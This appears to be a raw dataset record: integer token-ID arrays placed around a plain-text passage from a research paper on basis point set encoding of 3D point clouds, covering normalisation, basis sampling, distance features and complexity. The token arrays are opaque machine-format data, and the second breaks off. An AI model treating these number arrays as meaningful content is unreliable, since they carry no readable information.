[ 390, 17170, 1340, 31429, 949, 253, 897, 273, 45900, 5871, 689, 10302, 13849, 281, 3720, 2792, 15, 1723, 13, 359, 2868, 326, 253, 4081, 9706, 285, 1566, 35615, 3959, 767, 2022, 11361, 689, 5368, 1127, 9005, 6928, 27, 313, 66, 10, 2169, 15180, 6733, 285, 313, 67, 10, 4473, 1230, 19554, 13, 3477, 14, 936, 14, 303, 3018, 11333, 326, 513, 417, 10725, 327, 247, 2173, 2990, 10336, 390, 2430, 2840, 11454, 2990, 8090, 15, 187, 187, 424, 26600, 484, 4306, 42590, 6019, 15397, 281, 15115, 323, 374, 37, 3888, 13, 35190, 9860, 310, 247, 3626, 1039, 273, 9706, 495, 37, 1491, 15, 43275, 3676, 3210, 497, 4081, 326, 789, 342, 35190, 42590, 347, 14800, 575, 683, 2056, 321, 3230, 6620, 87, 1004, 3024, 28, 1214, 33980, 6961, 8625, 45558, 28, 1214, 78, 3508, 7798, 87, 19, 87, 1570, 1723, 13, 253, 2022, 18928, 273, 436, 9706, 310, 616, 23664, 10454, 15, 831, 1543, 275, 247, 1029, 2408, 273, 941, 3058, 281, 13613, 1957, 253, 2553, 15, 4952, 4942, 1781, 42590, 407, 776, 1655, 3541, 7465, 4816, 8196, 63, 20, 13, 17558, 63, 20, 7884, 403, 417, 4209, 323, 271, 7899, 6779, 273, 1029, 4294, 9421, 751, 1966, 8248, 15, 2058, 253, 1072, 673, 13, 436, 1511, 273, 46092, 1320, 1543, 275, 1077, 23507, 14118, 672, 908, 281, 1957, 495, 37, 9421, 27, 954, 273, 253, 4644, 6341, 403, 33303, 15, 831, 2789, 436, 6779, 271, 31334, 2553, 30047, 275, 2709, 4088, 15, 329, 1180, 273, 3082, 369, 4081, 281, 11399, 436, 1895, 575, 683, 33317, 7132, 68, 9866, 28, 1214, 363, 909, 2146, 7132, 22947, 3024, 1570, 1723, 13, 253, 1895, 273, 9999, 1029, 4294, 4278, 4558, 13, 2366, 342, 247, 1781, 3541, 33257, 285, 1698, 15180, 6733, 323, 3515, 2410, 17009, 15, 187, 187, 424, 52, 1300, 4181, 4910, 6019, 1535, 7157, 456, 6704, 4181, 4910, 313, 53, 3871, 13139, 10, 209, 575, 683, 1915, 1417, 12487, 8625, 45558, 28, 1214, 1826, 49766, 7330, 76, 460, 291, 12213, 28, 1214, 363, 909, 2146, 7132, 22947, 3024, 12213, 28, 1214, 32429, 7132, 6017, 6484, 28, 1214, 91, 1205, 1252, 3655, 69, 8992, 28, 1214, 1473, 74, 7798, 22798, 19, 36742, 28, 1214, 30844, 9638, 615, 2265, 4989, 62, 476, 320, 11575, 347, 247, 3626, 6880, 273, 35190, 42590, 27, 597, 4657, 4181, 14, 936, 14, 26555, 1491, 275, 9860, 1341, 3185, 273, 247, 2969, 35190, 7908, 15, 3900, 436, 10571, 501, 14503, 253, 1895, 273, 9999, 2553, 1491, 13, 253, 23664, 8284, 323, 3541, 285, 253, 1698, 15180, 6733, 323, 2410, 17009, 4558, 15, 496, 5301, 13, 776, 1332, 476, 320, 11575, 347, 581, 326, 4648, 271, 10341, 8578, 273, 2792, 432, 253, 4181, 1673, 15, 380, 9560, 3064, 310, 326, 253, 4181, 1673, 359, 3410, 432, 310, 10698, 285, 1327, 14, 39315, 456, 13, 285, 253, 1180, 273, 3530, 310, 14495, 281, 253, 1180, 273, 2792, 275, 253, 3236, 9005, 15, 844, 2007, 7409, 253, 4602, 875, 35190, 42590, 13, 308, 3871, 13139, 285, 378, 3299, 275, 5466, 15, 575, 1447, 2377, 4674, 27, 47109, 4207, 187, 187, 424, 19, 37, 20553, 6019, 8035, 1846, 5700, 310, 281, 2199, 495, 37, 15029, 281, 374, 37, 9421, 285, 840, 4647, 2629, 31225, 323, 374, 37, 3280, 5162, 15, 831, 3797, 6864, 8115, 575, 683, 44217, 1252, 3357, 69, 1092, 4898, 8115, 575, 683, 84, 782, 274, 7798, 28269, 1092, 347, 973, 347, 247, 5235, 273, 4471, 14, 1374, 3210, 575, 683, 3467, 6620, 23939, 28, 1214, 76, 1351, 91, 11938, 7798, 43151, 3024, 28, 1214, 71, 1205, 7798, 72, 16788, 9866, 1570, 1639, 375, 600, 2905, 403, 7274, 326, 2199, 495, 37, 15029, 715, 28394, 285, 4647, 19474, 2410, 17009, 281, 5115, 22090, 31429, 575, 683, 383, 23841, 7798, 28269, 28, 1214, 1940, 864, 7798, 1033, 16635, 1570, 3900, 12378, 14, 3169, 7274, 921, 1029, 7200, 275, 20741, 800, 8892, 313, 42070, 13, 5281, 25064, 582, 597, 403, 26401, 3710, 275, 9999, 15029, 326, 452, 2709, 2802, 71, 3502, 16236, 20624, 432, 6024, 6849, 15, 496, 5301, 13, 776, 9706, 6974, 476, 13613, 14003, 2553, 1491, 273, 5113, 342, 10341, 18080, 347, 359, 921, 275, 776, 4679, 275, 5466, 15, 575, 1447, 4674, 27, 12792, 4207, 187, 187, 1231, 1024, 6266, 253, 5933, 323, 26736, 253, 4081, 3720, 1127, 6779, 432, 247, 1677, 1127, 9005, 15, 187, 187, 6942, 1712, 4674, 27, 9349, 94, 187, 4738, 187, 187, 1835, 21386, 1320, 15, 187, 187, 510, 3559, 9706, 5933, 3936, 247, 873, 273, 1127, 16173, 347, 3280, 669, 2407, 92, 57, 94, 426, 9121, 1594, 64, 74, 13, 891, 30, 18, 13, 393, 6768, 13, 268, 393, 3363, 6000, 1127, 9005, 476, 452, 247, 1027, 1180, 273, 2792, 370, 79, 64, 74, 18965, 187, 187, 7010, 2043, 92, 2132, 94, 187, 57, 64, 74, 426, 32080, 2407, 92, 89, 2026, 74, 18, 2023, 393, 6768, 13, 393, 2407, 92, 89, 2026, 249, 64, 74, 889, 2023, 393, 2407, 92, 89, 2026, 1944, 94, 393, 249, 393, 1991, 92, 51, 2306, 69, 13, 187, 61, 1968, 92, 2574, 27, 3659, 64, 18534, 889, 423, 92, 2132, 2138, 187, 187, 2811, 370, 69, 30, 20, 5, 323, 253, 1083, 273, 495, 37, 1127, 16173, 15, 496, 247, 806, 3213, 13, 359, 39142, 512, 1127, 16173, 281, 247, 4944, 247, 3943, 4023, 27, 187, 187, 7010, 2043, 92, 2132, 94, 187, 464, 2407, 92, 89, 2026, 1944, 599, 426, 393, 1124, 2386, 2407, 92, 89, 2026, 1944, 599, 428, 393, 1991, 92, 38, 17738, 2407, 92, 89, 2026, 1944, 599, 393, 3549, 1594, 64, 74, 17098, 2407, 92, 89, 2026, 1944, 599, 7780, 4090, 6263, 2407, 92, 89, 2026, 1944, 599, 393, 249, 1594, 64, 74, 2704, 21837, 2407, 92, 89, 2026, 1944, 599, 428, 393, 1991, 92, 38, 17738, 2407, 92, 89, 2026, 1944, 599, 393, 3549, 1594, 64, 74, 17098, 2407, 92, 89, 2026, 1944, 12191, 93, 8503, 393, 14570, 891, 13, 480, 15, 187, 61, 1968, 92, 2574, 27, 8522, 64, 12850, 889, 423, 92, 2132, 2138, 187, 187, 1835, 475, 35, 3299, 11, 5140, 15, 187, 187, 9301, 13, 359, 830, 247, 475, 40265, 1127, 873, 4556, 1198, 436, 4836, 13, 359, 3410, 370, 76, 5, 3632, 2792, 432, 247, 4023, 273, 247, 1677, 9941, 370, 83, 18965, 187, 187, 7010, 2043, 92, 2132, 94, 187, 61, 2407, 92, 35, 94, 426, 544, 464, 2407, 92, 67, 2026, 18, 8503, 34845, 1926, 2407, 92, 67, 2026, 76, 599, 3725, 53, 13, 50276, 464, 2407, 92, 67, 2026, 75, 61, 249, 599, 50276, 61, 1991, 92, 51, 2306, 69, 13, 11045, 1926, 2407, 92, 67, 2026, 75, 3080, 93, 11049, 391, 15, 187, 61, 1968, 92, 2574, 27, 40265, 889, 423, 92, 2132, 2138, 187, 187, 1147, 310, 1774, 281, 3748, 326, 436, 873, 310, 10341, 533, 4229, 323, 512, 1127, 16173, 275, 253, 10895, 15, 370, 83, 5, 285, 370, 76, 5, 403, 4373, 22041, 273, 253, 1332, 13, 285, 370, 76, 5, 476, 320, 908, 281, 3653, 253, 5454, 14, 2727, 875, 15180, 10454, 285, 253, 32422, 273, 253, 6779, 15, 187, 187, 1835, 36350, 10272, 15, 187, 187, 9301, 13, 359, 830, 247, 4735, 4972, 323, 1046, 1127, 9005, 275, 247, 10895, 407, 12672, 253, 8723, 4181, 432, 1046, 3720, 1127, 281, 253, 5275, 1127, 275, 253, 1127, 9005, 762, 8180, 27, 187, 187, 7010, 2043, 92, 2132, 94, 187, 61, 2407, 92, 89, 2000, 74, 1743, 2407, 92, 35, 599, 426, 24430, 1222, 6263, 2407, 92, 89, 2026, 1944, 3080, 249, 1594, 64, 74, 2704, 4820, 92, 69, 1217, 5716, 2407, 92, 67, 2026, 18, 13, 7780, 2407, 92, 89, 2026, 1944, 12104, 8503, 393, 6768, 13, 393, 1222, 6263, 2407, 92, 89, 2026, 1944, 3080, 249, 1594, 64, 74, 2704, 4820, 92, 69, 1217, 5716, 2407, 92, 67, 2026, 76, 13, 599, 1926, 2407, 92, 89, 2026, 1944, 12104, 599, 3725, 53, 13, 393, 6274, 3202, 187, 464, 2407, 92, 89, 2026, 74, 16052, 2407, 92, 35, 599, 393, 249, 393, 1991, 92, 51, 1990, 76, 7165, 393, 1968, 92, 2574, 27, 40265, 64, 8155, 889, 423, 92, 2132, 2138, 187, 187, 42297, 13, 352, 310, 1896, 281, 4657, 253, 2120, 36799, 1491, 275, 253, 830, 273, 18687, 11390, 432, 1016, 3720, 1127, 281, 253, 5275, 1127, 275, 253, 3236, 1127, 9005, 27, 187, 187, 7010, 2043, 92, 2132, 94, 187, 61, 2407, 92, 57, 2000, 74, 1743, 2407, 92, 35, 599, 426, 393, 2760, 17567, 2760, 1035, 4820, 29468, 1662, 1222, 17738, 2407, 92, 89, 2026, 1944, 3080, 249, 1594, 64, 74, 2704, 4820, 92, 69, 1217, 5716, 2407, 92, 67, 2026, 82, 32222, 2407, 92, 89, 2026, 1944, 12104, 599, 428, 1926, 2407, 92, 67, 2026, 82, 599, 393, 2760, 1572, 2760, 12499, 50276, 61, 249, 393, 1991, 92, 51, 1990, 76, 393, 3181, 277, 2023, 393, 1968, 92, 2574, 27, 40265, 64, 10801, 889, 423, 92, 2132, 2138, 187, 187, 8665, 1491, 670, 5275, 2792, 33820, 33270, 2193, 13, 2553, 5222, 932, 10, 476, 320, 9809, 347, 629, 273, 436, 4229, 6779, 15, 380, 4735, 13782, 310, 12800, 275, 2667, 15, 575, 1447, 926, 27, 926, 18, 4207, 380, 23276, 3891, 2574, 27, 40265, 2582, 8155, 3851, 285, 3891, 2574, 27, 40265, 2582, 10801, 3851, 1918, 441, 4229, 14, 3985, 14237, 273, 253, 1127, 16173, 326, 476, 320, 12450, 908, 347, 3280, 323, 4715, 11333, 15, 187, 187, 1835, 378, 3299, 5438, 8130, 15, 187, 187, 1231, 7409, 247, 1180, 273, 3720, 1127, 5438, 8130, 285, 2085, 4278, 273, 841, 4679, 275, 5466, 15, 575, 1447, 2377, 4674, 27, 27423, 4207, 15699, 13, 3632, 10491, 432, 247, 6447, 3268, 275, 253, 3943, 4023, 3400, 247, 1175, 5454, 14, 2727, 875, 6733, 13, 6978, 1319, 273, 253, 5978, 1232, 285, 2553, 14433, 1543, 13, 285, 359, 4647, 352, 4768, 253, 4679, 275, 436, 2929, 15, 20564, 13, 271, 9470, 495, 37, 9860, 273, 3720, 2792, 812, 320, 908, 275, 30111, 342, 667, 5368, 495, 37, 27311, 267, 11454, 2990, 275, 1340, 281, 5115, 4869, 3045, 387, 253, 2105, 273, 2559, 15180, 10454, 15, 187, 187, 1835, 24154, 414, 15, 187, 187, 688, 436, 789, 13, 359, 897, 29850, 13849, 875, 2792, 323, 6153, 776, 9706, 13, 533, 643, 17082, 812, 320, 908, 275, 8063, 15, 3932, 359, 403, 2444, 342, 495, 37, 1127, 16173, 313, 4609, 10140, 281, 1907, 247, 1355, 1318, 323, 370, 69, 17673, 253, 5275, 6346, 3186, 476, 320, 1160, 5919, 407, 970, 941, 5289, 751, 4023, 7139, 1008, 297, 1368, 1504, 287, 14643, 12071, 1570, 1284, 40045, 33248, 13, 370, 48, 9, 79, 61, 2808, 92, 79, 6580, 5871, 403, 3058, 323, 26736, 247, 4023, 5202, 432, 253, 1127, 9005, 370, 57, 64, 74, 5, 285, 370, 48, 9, 76, 61, 2808, 92, 79, 6580, 5871, 403, 3058, 281, 1408, 5275, 6346, 19241, 323, 370, 76, 5, 3720, 2792, 15, 831, 5644, 281, 271, 4583, 9706, 10454, 273, 370, 48, 9, 79, 61, 2808, 92, 79, 94, 559, 465, 61, 2808, 92, 79, 17042, 591, 1127, 9005, 15, 380, 465, 8504, 3186, 3213, 476, 320, 671, 14556, 9009, 347, 629, 273, 271, 990, 14, 936, 14, 423, 3676, 4715, 15722, 1008, 4530, 9141, 7132, 28269, 1570, 32923, 1037, 13, 359, 22791, 776, 9706, 6974, 323, 1027, 2193, 273, 370, 79, 5, 285, 370, 76, 5, 285, 921, 1524, 14, 2606, 9706, 3045, 323, 2193, 4722, 323, 1655, 1524, 1533, 4893, 15, 7764, 3730, 281, 253, 24864, 4753, 323, 2007, 4278, 15, 187, 187, 22997, 1712, 4674, 27, 12792, 94, 187, 822, 187, 187, 23648, 281, 35190, 42590, 13, 308, 3871, 13139, 285, 8342, 1127, 16173, 1712, 2377, 4674, 27, 47109, 94, 187, 6154, 9998, 187, 187, 1835, 496, 24873, 30328, 15, 187, 187, 5065, 1096, 281, 35190, 42590, 285, 308, 3871, 13139, 13, 253, 6733, 285, 34385, 273, 253, 4081, 378, 3299, 9706, 310, 1754, 327, 767, 2234, 7313, 15, 3973, 13, 352, 310, 12912, 323, 1097, 2553, 14433, 285, 4715, 281, 475, 11869, 690, 5415, 4156, 1491, 11, 33820, 29850, 4181, 281, 253, 5275, 1127, 10, 275, 1046, 894, 273, 253, 9860, 3185, 273, 2969, 8985, 12201, 390, 1980, 13849, 15, 496, 253, 6158, 1083, 13, 954, 273, 253, 32582, 1241, 3464, 6325, 285, 13, 25761, 13, 253, 4735, 4972, 588, 1818, 16821, 672, 4512, 29971, 390, 39501, 403, 3732, 281, 271, 1789, 15, 496, 5301, 13 ]	or achieving order invariance through the use of pooling operations over computed distances to basis points. However, we believe that the proposed encoding and model architectures offer two main advantages over existing point cloud networks: (a) higher computational efficiency and (b) conceptually simpler, easy-to-implement algorithms that do not rely on a specific network architecture or require custom neural network layers. Occupancy grids. Similar to pixels for 2D images, occupancy grid is a natural way of encoding 3D information. Numerous deep models were proposed that work with occupancy grids as inputs [@maturana2015voxnet; @qi2016volumetric; @moon2018v2v]. However, the main disadvantage of this encoding is their cubic complexity. This results in a high amount of data needed to accurately represent the surface. Even relatively large grids by our current memory standards ($128^3, 256^3$) are not sufficient for an accurate representation of high frequency surfaces like human bodies. At the same time, this type of voxelization results in very sparse volumes when used to represent 3D surfaces: most of the volume measurements are zeros. This makes this representation an inefficient surface descriptor in multiple ways. A number of methods was proposed to overcome this problem [@wang2017cnn; @riegler2017octnet]. However, the problem of representing high frequency details remains, together with a large memory footprint and low computational efficiency for running convolutions. Signed distance fields. Truncated signed distance fields (TSDFs) [@curless1996volumetric; @newcombe2011kinectfusion; @riegler2017octnetfusion; @song2017semantic; @zeng20173dmatch; @dai2018scan2mesh; @park2019deepsdf] can be viewed as a natural extension of occupancy grids: they store distance-to-surface information in grid cells instead of a simple occupancy flag. While this partially resolves the problem of representing surface information, the cubic requirement for memory and the low computational efficiency for convolutions remains. In comparison, our method can be viewed as one that uses an arbitrary subset of points from the distance field. The crucial difference is that the distance field we sample from is unsigned and non-truncated, and the number of samples is proportional to the number of points in the original cloud. We further investigate the connection between occupancy grids, TSDFs and BPS in Sec. \[subsection:comparison\]. 2D projections. Another common strategy is to project 3D shapes to 2D surfaces and then apply standard frameworks for 2D input processing. This includes depth maps [@wu20153d], height maps [@sarkar2018learning], as well as a variety of multi-view models [@su2015multi; @kanezaki2018rotationnet; @feng2018gvcnn]. Closely related are approaches that project 3D shapes into spheres and apply spherical convolutions to achieve rotational invariance [@esteves2018learning; @cohen2018spherical]. While projection-based approaches show high accuracy in discriminative tasks (classification, shape retrieval), they are fundamentally limited in representing shapes that have multiple ‘folds’, invisible from external views. In comparison, our encoding scheme can accurately preserve surface information of objects with arbitrary topology as we show in our experiments in Sec. \[section:analysis\]. We now describe the algorithm for constructing the proposed basis point representation from a given point cloud. Method {#section:method} ====== #### Normalization. The presented encoding algorithm takes a set of point clouds as input $\mathbf{X} = \{ X_i, i=1, \dots, p \}$. Every point cloud can have a different number of points $n_i$: $$\begin{aligned} X_i = \{\mathbf{x}_{i1}, \dots, \mathbf{x}_{in_i}\}, \mathbf{x}_{ij} \in \mathbb{R}^d, \label{eq:point_cloud}\end{aligned}$$ where $d=3$ for the case of 3D point clouds. In a first step, we normalize all point clouds to a fit a unit ball: $$\begin{aligned} {\mathbf{x}_{ij}} = \frac{{\mathbf{x}_{ij}} - \mathbb{E}_{{\mathbf{x}_{ij}} \sim X_i}{{\mathbf{x}_{ij}}}}{\max_{{\mathbf{x}_{ij}} \in X_i}{\\|{\mathbf{x}_{ij}} - \mathbb{E}_{{\mathbf{x}_{ij}} \sim X_i}{{\mathbf{x}_{ij}}}\\|}}, \forall i, j. \label{eq:unit_norm}\end{aligned}$$ #### BPS construction. Next, we form a basis point set. For this task, we sample $k$ random points from a ball of a given radius $r$: $$\begin{aligned} \mathbf{B} = [{\mathbf{b}_{1}},..., {\mathbf{b}_{k}}]^T, {\mathbf{b}_{j\in}} \mathbb{R}^d, \\| {\mathbf{b}_{j}}\\| <= r. \label{eq:basis}\end{aligned}$$ It is important to mention that this set is arbitrary but fixed for all point clouds in the dataset. $r$ and $k$ are hyperparameters of the method, and $k$ can be used to determine the trade-off between computational complexity and the fidelity of the representation. #### Feature calculation. Next, we form a feature vector for every point cloud in a dataset by computing the minimal distance from every basis point to the nearest point in the point cloud under consideration: $$\begin{aligned} \mathbf{x}_i^{\mathbf{B}} = [\min_{{\mathbf{x}_{ij}}\in X_i}{\operatorname{d}{({\mathbf{b}_{1,}}{\mathbf{x}_{ij}})}}, \dots, \min_{{\mathbf{x}_{ij}}\in X_i}{\operatorname{d}{({\mathbf{b}_{k,}} {\mathbf{x}_{ij}})}}]^T, \nonumber \\ {\mathbf{x}_{i}}^{\mathbf{B}} \in \mathbb{R}^{k}. \label{eq:basis_dist}\end{aligned}$$ Alternatively, it is possible to store the full directional information in the form of delta vectors from each basis point to the nearest point in the original point cloud: $$\begin{aligned} \mathbf{X}_i^{\mathbf{B}} = \big\{\big(\operatorname{argmin}_{{\mathbf{x}_{ij}}\in X_i}{\operatorname{d}{({\mathbf{b}_{q}},{\mathbf{x}_{ij}})}} - {\mathbf{b}_{q}} \big)\big\} \in \mathbb{R}^{k \times d}, \label{eq:basis_points}\end{aligned}$$ Other information about nearest points (, RGB values, surface normals) can be saved as part of this fixed representation. The feature computation is illustrated in Fig. \[fig:fig1\]. The formulas (\[eq:basis\_dist\]) and (\[eq:basis\_points\]) give us fixed-length representations of the point clouds that can be readily used as input for learning algorithms. #### BPS selection strategies. We investigate a number of basis point selection strategies and provide details of these experiments in Sec. \[subsection:selection\]. Overall, random sampling from a uniform distribution in the unit ball provides a good trade-off between efficiency, universality of the generation process and surface reconstruction results, and we apply it throughout the experiments in this paper. Alternatively, an extensive 3D grid of basis points could be used in tandem with any existing 3D convolutional neural network in order to achieve maximum performance at the cost of increased computational complexity. #### Complexity. In this work, we use Euclidean distances between points for creating our encoding, but other metrics could be used in principle. Since we are working with 3D point clouds (which corresponds to having a small value for $d$), the nearest neighbor search can be made efficient by using data structures like ball trees [@omohundro1989five]. Asymptotically, $O(n\log{n})$ operations are needed for constructing a ball tree from the point cloud $X_i$ and $O(k\log{n})$ operations are needed to run nearest neighbor queries for $k$ basis points. This leads to an overall encoding complexity of $O(n\log{n} + k\log{n}$) per point cloud. The kNN search step can be also efficiently implemented as part of an end-to-end deep learning pipeline [@kaiser2017learning]. Practically, we benchmark our encoding scheme for different values of $n$ and $k$ and show real-time encoding performance for values interesting for current real world applications. Please refer to the supplementary materials for further details. Analysis {#section:analysis} ======== Comparison to occupancy grids, TSDFs and plain point clouds {#subsection:comparison} ----------------------------------------------------------- #### Informal intuition. Compared to occupancy grids and TSDFs, the efficiency and superiority of the proposed BPS encoding is based on two key observations. First, it is beneficial for both surface reconstruction and learning to store some continuous global information* (, Euclidean distance to the nearest point) in every cell of the grid instead of simple binary flags or local distances. In the latter case, most of the voxels remain empty and, moreover, the feature vector will change dramatically when slight translations or rotations are applied to an object. In comparison,
[ 2490, 50274, 66, 15, 33321, 16699, 187, 22050, 2490, 50274, 14279, 15, 35772, 52, 64, 35, 5851, 7412, 247, 187, 31102, 2490, 50274, 66, 15, 52, 12752, 1838, 426, 686, 5831, 8, 187, 50274, 5543, 247, 15, 35772, 1838, 2949, 41851, 7041, 3550, 2698, 187, 28, 187, 48997, 28, 187, 187, 53, 2960, 13, 368, 1053, 626, 452, 281, 5181, 436, 10542, 13, 285, 352, 434, 8931, 281, 253, 3491, 16, 23164, 326, 368, 858, 15, 187, 34, 1643, 4465, 7211, 1677, 690, 5701, 27, 187, 2042, 46533, 1838, 310, 2455, 1679, 685, 1458, 13, 368, 778, 452, 2317, 13294, 13, 594, 309, 2879, 11705, 281, 5386, 1110, 15, 50276, 1147, 2506, 626, 2647, 323, 2876, 14023, 428, 3707, 1210, 297, 976, 347, 368, 1537, 1408, 562, 273, 14823, 3448, 13, 285, 309, 7664, 326, 690, 16025, 3338, 778, 2686, 1557, 670, 253, 13294, 15, 50276, 1394, 476, 3553, 562, 11705, 604, 253, 1458, 310, 247, 3638, 2978, 15, 187, 13815, 287, 4903, 1408, 598, 281, 6705, 44, 275, 2317, 15, 1310, 368, 452, 1458, 1894, 4778, 5043, 346, 346, 767, 5043, 39169, 581, 13, 368, 452, 1283, 5810, 28, 368, 452, 2316, 323, 247, 2372, 689, 4791, 361, 2193, 15, 50276, 2773, 434, 762, 29067, 13, 19235, 15, 187, 688, 436, 1083, 13, 368, 476, 2057, 8085, 598, 253, 1673, 715, 767, 14823, 4903, 313, 36423, 2217, 18670, 13, 897, 18373, 285, 806, 10600, 10, 390, 368, 476, 513, 690, 643, 2900, 15, 187, 187, 34836, 253, 789, 15, 5423, 10895, 715, 253, 20091, 5135, 1590, 13, 840, 513, 253, 6604, 275, 11700, 627, 15, 187, 12501, 253, 9410, 273, 253, 1750, 1838, 715, 247, 1873, 3185, 273, 715, 247, 14823, 4778, 13, 285, 840, 2462, 3709, 326, 1873, 15, 187, 11244, 1067, 13194, 281, 13194, 253, 2644, 15613, 11700, 15, 187, 187, 4943, 434, 581, 1650, 273, 32388, 8021, 4625, 23638, 15, 187, 2203, 795, 8629, 17540, 187, 50276, 1178, 789, 15, 5423, 990, 30, 70, 1171, 28, 187, 50276, 338, 795, 79, 64, 30, 18, 840, 513, 28, 187, 50274, 4065, 13194, 2073, 25875, 22454, 37051, 15, 38333, 7412, 209, 187, 12995, 2490, 50274, 3, 35772, 3, 7412, 322, 22656, 13, 187, 50274, 66, 15, 35772, 1838, 13, 2490, 50274, 66, 15, 33321, 16699, 187, 22050, 2490, 50274, 14279, 15, 35772, 52, 64, 35, 5851, 7412, 247, 187, 31102, 2490, 50274, 66, 15, 52, 12752, 1838, 426, 346, 5831, 3, 187, 50274, 5543, 247, 15, 35772, 1838, 2949, 313, 5137, 50272, 11, 783, 629, 273, 253, 11700, 7316, 1078, 253, 1618, 273, 36919, 28, 187, 50276, 423, 28, 187, 50276, 4065, 13194, 9, 21049, 9, 7041, 1838, 10, 2785, 686, 686, 558, 187, 50276, 338, 444, 10327, 840, 513, 28, 187, 50274, 4065, 13194, 2073, 558, 26999, 1433, 28, 5137, 50276, 11, 783, 629, 273, 253, 11700, 7316, 846, 253, 1618, 273, 36919, 28, 187, 50276, 423, 28, 187, 6321, 28, 187, 187, 1552, 651, 320, 4829, 8931, 281, 253, 2462, 47128, 2900, 1663, 13, 3707, 627, 368, 1691, 326, 5017, 281, 247, 2505, 1873, 3185, 273, 32388, 8021, 4625, 23638, 272, 352, 13, 285, 840, 368, 2462, 47128, 326, 2505, 1873, 15, 187, 187, 34, 27, 187, 187, 42, 1158, 368, 1472, 2444, 1097, 342, 1980, 941, 285, 941, 327, 634, 4771, 15, 2091, 33918, 310, 2444, 342, 941, 432, 1027, 4973, 313, 8608, 15409, 10, 352, 10316, 352, 512, 715, 33918, 323, 5162, 534, 476, 320, 1663, 13, 1663, 3468, 15, 209, 187, 20576, 13, 368, 476, 1056, 247, 14823, 4778, 285, 897, 326, 1561, 634, 7316, 15, 1310, 352, 434, 29067, 13, 352, 943, 4944, 715, 581, 14823, 4778, 13, 7384, 253, 2978, 310, 1679, 685, 2145, 47647, 1016, 15, 329, 14823, 4778, 1979, 2701, 310, 6705, 44, 5810, 13, 594, 352, 7024, 327, 253, 2978, 273, 253, 4778, 15, 1310, 417, 368, 812, 2794, 247, 14823, 3185, 15, 187, 21299, 21512, 295, 412, 83, 565, 28, 187, 50275, 7135, 14430, 9, 7041, 1838, 13, 17169, 2807, 715, 1163, 1750, 64, 3550, 9070, 407, 18873, 346, 432, 3280, 28, 187, 48997, 28, 187, 187, 21299, 21512, 28, 187, 25875, 22454, 37051, 15, 38333, 7412, 209, 187, 12995, 209, 187, 3, 35772, 3, 7412, 322, 22656, 13, 187, 66, 15, 35772, 1838, 13, 209, 187, 66, 15, 33321, 16699, 187, 22050, 50276, 14279, 15, 35772, 52, 64, 35, 5851, 7412, 247, 187, 31102, 209, 187, 66, 15, 52, 12752, 1838, 426, 686, 5831, 8, 187, 5543, 247, 15, 35772, 1838, 2949, 41851, 7041, 64, 3550, 39514, 187, 48997, 28, 535, 20266, 4332, 187, 187, 42, 476, 457, 85, 1361, 352, 15, 309, 452, 271, 37562, 422, 509, 15305, 342, 8319, 807, 14, 744, 773, 46435, 668, 665, 17129, 31147, 2, 1244, 12633, 13, 1339, 479, 2028, 368, 13, 841, 767, 513, 417, 11034, 15, 10498, 275, 1127, 27, 2111, 2191, 659, 351, 3354, 457, 84, 7879, 3997, 15, 37082, 26352, 457, 5753, 13, 10507, 26352, 457, 4475, 13, 984, 436, 2181, 310, 2870, 14743, 2, 187, 187, 1276, 253, 36603, 310, 1469, 327, 875, 500, 2960, 27653, 3592, 6212, 285, 7395, 6212, 32, 36072, 275, 253, 2129, 13, 16907, 562, 273, 17663, 13, 28718, 273, 616, 27774, 19408, 47300, 285, 5195, 9086, 15, 380, 767, 5868, 326, 597, 497, 23694, 13, 13320, 2844, 13, 390, 2712, 1679, 685, 9670, 5211, 275, 616, 7875, 15, 1292, 355, 284, 13, 253, 7484, 5026, 561, 15, 187, 187, 8836, 6331, 2444, 2, 1583, 2429, 616, 8450, 2, 17814, 1925, 1728, 281, 7277, 625, 8450, 2, 6491, 1315, 39904, 2505, 264, 346, 2277, 40, 858, 368, 1928, 326, 22418, 937, 7879, 24294, 598, 13, 285, 18053, 8069, 25368, 323, 253, 2644, 273, 253, 5791, 13153, 15, 187, 187, 2512, 434, 271, 4722, 9058, 14149, 275, 14759, 326, 309, 1353, 1469, 281, 19155, 253, 346, 46397, 15047, 449, 733, 6634, 672, 247, 1652, 14, 4304, 12353, 16, 21329, 1209, 16, 36, 14, 77, 2131, 275, 247, 1048, 14, 3945, 13, 16907, 4891, 2954, 15323, 521, 1327, 14, 71, 14919, 7832, 323, 247, 41354, 14, 71, 14919, 4177, 15, 6272, 597, 38234, 13, 390, 6142, 13802, 32, 187, 187, 1276, 19408, 479, 670, 28331, 31540, 8420, 3548, 626, 326, 703, 5605, 281, 320, 749, 35407, 281, 617, 5938, 1223, 344, 11029, 347, 1481, 273, 616, 11692, 28, 352, 434, 326, 703, 15547, 326, 4743, 387, 512, 15, 733, 434, 581, 2181, 281, 2868, 1633, 26506, 15, 733, 434, 1529, 281, 13, 347, 247, 18468, 13, 4096, 2920, 3894, 326, 4743, 342, 253, 11843, 15, 187, 187, 1909, 604, 352, 3548, 626, 1892, 2217, 281, 2028, 3858, 752, 368, 1663, 1158, 273, 616, 43530, 10110, 13, 8564, 253, 22014, 273, 11485, 1146, 6726, 281, 1333, 13, 346, 48871, 13, 309, 1353, 816, 417, 2119, 326, 19251, 16, 12579, 89, 48348, 7856, 16, 23182, 434, 15178, 16, 1405, 255, 7619, 16, 48915, 26661, 16, 2577, 2971, 784, 17081, 14, 3022, 3116, 310, 1663, 634, 2181, 449, 187, 187, 1394, 1849, 3164, 3735, 690, 7629, 327, 253, 1711, 2048, 13, 346, 8267, 2954, 10224, 1919, 581, 2506, 626, 449, 775, 28456, 13, 642, 32, 831, 10732, 556, 1694, 479, 4680, 670, 247, 3782, 7636, 14759, 31556, 665, 476, 626, 1646, 281, 8773, 253, 35809, 273, 4242, 7688, 27, 26355, 743, 40729, 15, 87, 10, 426, 495, 11, 87, 15, 1281, 278, 9, 81, 10, 426, 268, 424, 19, 428, 1722, 11, 81, 559, 42741, 15, 1737, 310, 256, 9, 78, 9, 74, 17851, 187, 20, 11, 74, 424, 19, 428, 8319, 11, 74, 559, 7288, 2222, 187, 1466, 391, 9, 68, 10, 426, 428, 19, 11, 68, 424, 19, 15, 1281, 259, 9, 91, 10, 426, 721, 3141, 11, 91, 424, 19, 428, 11130, 15, 7918, 259, 9, 83, 9, 89, 5029, 187, 1630, 805, 11, 89, 424, 21, 428, 11130, 187, 1466, 260, 9, 73, 10, 426, 854, 11, 73, 428, 288, 559, 14034, 428, 31605, 559, 18836, 15, 1281, 270, 9, 90, 10, 426, 428, 19, 11, 90, 15, 6762, 260, 9, 67, 9, 78, 5029, 187, 14, 1047, 11, 78, 428, 818, 187, 1466, 465, 9, 